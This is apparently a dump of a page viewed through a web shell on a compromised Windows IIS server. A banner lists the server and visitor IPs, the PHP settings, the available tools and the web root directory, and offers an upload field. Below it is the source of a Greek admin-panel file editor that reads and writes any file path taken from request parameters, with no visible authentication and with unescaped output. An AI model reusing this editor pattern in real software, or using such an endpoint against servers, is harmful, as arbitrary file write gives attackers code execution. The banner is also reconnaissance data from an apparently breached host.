| Server IP : 195.130.67.5 / Your IP : 216.73.216.231 Web Server : Microsoft-IIS/10.0 System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586 User : IUSR ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/inetpub/wwwroot/control/ |
Upload File : |
<?
ini_set('magic_quotes_gpc', 'Off');
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><?=$_SESSION['SiteTitle']?> - Πίνακας Διαχείρισης</title>
<link href="style.css" rel="stylesheet" type="text/css">
<style type="text/css">
body {background: none;}
textarea {margin-bottom: 10px; width: 98%; height: 280px;}
</style>
</head>
<body>
<?
$file_path = $_REQUEST["file_path"];
$file_data = $_REQUEST["file_data"];
$save_file = $_REQUEST["save_file"];
if (isset($save_file))
{
if (file_put_contents($file_path, stripslashes($file_data)))
echo '<script type="text/javascript">parent.$.fancybox.close();</script>';
else
echo '<p class="error">Η αποθήκευση του αρχείου απέτυχε!</p>';
}
?>
<form method="post" action="edit_file.php">
<input type="hidden" name="file_path" value="<?=$file_path?>">
<textarea name="file_data"><?=file_get_contents($file_path)?></textarea>
<input type="submit" name="save_file" value="Αποθήκευση αρχείου">
</form>
</body>
</html>